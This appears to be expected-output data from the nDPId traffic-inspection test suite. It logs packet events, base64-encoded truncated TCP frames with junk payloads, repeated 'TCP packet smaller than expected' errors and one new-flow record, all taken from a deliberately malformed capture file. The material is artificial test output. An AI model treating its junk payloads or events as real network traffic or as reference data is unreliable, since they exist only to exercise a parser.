-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349596} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":4065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349609} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349622} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349638} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244028349651} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":4069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiooS0lKSEdG"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":14,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244028649780,"flow_src_last_pkt_time":1534244028649780,"flow_dst_last_pkt_time":1534244028649780,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244028649780,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":17458,"dst_port":10790,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_src_last_pkt_time":1534244028649780,"flow_dst_last_pkt_time":1534244028649780,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkQyKiZERkdISksmXiUkIyM4jgAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649809} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649843} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649851} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649859} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649866} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649873} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649884} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649897} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649904} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649911} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649917} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649924} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649931} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649938} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649945} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649953} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028649972} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650136} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650145} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650152} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650159} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650167} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650174} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650217} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650229} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650236} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650244} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650252} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650260} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650268} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":4100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650277} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650285} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650293} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650301} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650313} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650321} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650328} 